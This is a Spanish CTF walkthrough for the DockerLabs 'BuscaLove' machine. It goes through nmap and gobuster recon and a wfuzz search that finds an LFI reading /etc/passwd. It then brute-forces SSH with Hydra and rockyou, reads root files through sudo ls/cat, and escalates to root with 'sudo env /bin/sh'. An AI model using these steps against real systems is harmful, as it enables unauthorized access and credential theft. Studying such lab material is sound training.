BuscaLove
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯 Resolución
🔍 Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.18.0.2
-sVC: Escaneo de versiones de servicios y ejecución de scripts.-p-: Escanea todos los puertos (1-65535).-n: Desactiva la resolución DNS.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.
El escaneo revela que los servicios SSH y HTTP están activos.
Accedemos al sitio web y observamos que se trata de una página de Apache genérica. Esto nos lleva a investigar si existen otros recursos disponibles en el servidor.

Como siguiente paso, realizamos un escaneo de posibles directorios en la página web utilizando el siguiente comando:
gobuster dir -u "http://172.18.0.2/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-u http://172.18.0.2/: URL del servidor web objetivo donde se realizará el escaneo.-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Ruta al archivo de palabras (wordlist) que contiene posibles nombres de directorios y archivos a buscar.
Parece ser que solo hay el directorio/wordpres

🕵️ Análisis de vulnerabilidades
La apariencia del sitio web no muestra cambios significativos. Por lo tanto, en este punto, decidimos comprobar si existe una vulnerabilidad de Local File Inclusion (LFI). Para ello, utilizamos la herramienta wfuzz con el siguiente comando:
wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.18.0.2/wordpress/index.php?FUZZ=../../../../../etc/passwd --hc 404 --hl 40
-w: Define la wordlist que se usará para sustituir el parámetroFUZZen la URL.-u: Especifica la URL objetivo, dondeFUZZserá reemplazado por cada entrada de la wordlist.--hc 404: Excluye respuestas que devuelvan un código HTTP 404, ya que indican recursos no encontrados.--hl 40: Filtra respuestas cuyo contenido tiene exactamente 40 caracteres, asumiendo que estas no son relevante
El uso de ?FUZZ permite identificar qué parámetro dentro de la URL es vulnerable. Si el ataque es exitoso, el servidor devolverá contenido del archivo objetivo (como /etc/passwd), lo que confirma que el parámetro probado es explotable para LFI.

Confirmamos que la página es vulnerable a un Local File Inclusion (LFI) al pasarle la palabra love como parámetro a index.php. Esto se dedujo gracias a una pista obtenida previamente en un comentario en el código de la página.
🎯 Explotación
Para verificarlo, accedemos a la siguiente URL para ver el archivo /etc/passwd:
http://172.18.0.2/wordpress/index.php?love=../../../../../etc/passwd

Observamos que, además del usuario root, existen dos usuarios adicionales, rosa y pedro. Esto se deduce porque ambos tienen directorios asignados en /home.
Dado que ya identificamos dos usuarios, como suele ser común en los retos de CTF, procederemos a realizar un ataque de fuerza bruta utilizando la herramienta Hydra.
hydra -l rosa -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4
Y he encontramos la contraseña de rosa que es lovebug

Entramos por ssh con el comando
ssh rosa@172.18.0.2
📈 Escalada de privilegios
Una vez dentro del sistema, ejecutamos el comando sudo -l para listar los privilegios de sudo del usuario actual. Esto nos permite identificar qué comandos se pueden ejecutar como administrador sin necesidad de proporcionar una contraseña, lo que podría abrir la puerta a una
sudo -l
Observamos que tenemos la capacidad de utilizar los comandos ls y cat para listar directorios y acceder a archivos a los que normalmente no tendríamos acceso.

Como primer paso, intentamos listar el contenido del directorio /home/pedro utilizando el siguiente comando:

El directorio del usuario pedro no contiene nada de interés. Ahora, intentamos explorar el directorio del usuario root.
sudo /usr/bin/ls -la /root
Encontramos un archivo algo inusual llamado secret.txt. Dado que ahora podemos ver el contenido de archivos a los que normalmente no tendríamos acceso, procedemos a visualizar el contenido de secret.txt utilizando el siguiente comando:


Procedemos a decodificarlo.

Parece que hemos obtenido una contraseña en texto plano. A continuación, nos autenticamos como el usuario pedro de la siguiente manera:
su pedro
Continuamos con el mismo procedimiento, ejecutando sudo -l como el usuario pedro, y obtenemos el siguiente resultado:

Consultamos nuevamente la página de GTFOBins para investigar cómo escalar privilegios utilizando el comando env. env es una herramienta que permite establecer o imprimir las variables de entorno del sistema.
Para escalar privilegios, utilizamos el siguiente comando:
sudo env /bin/sh
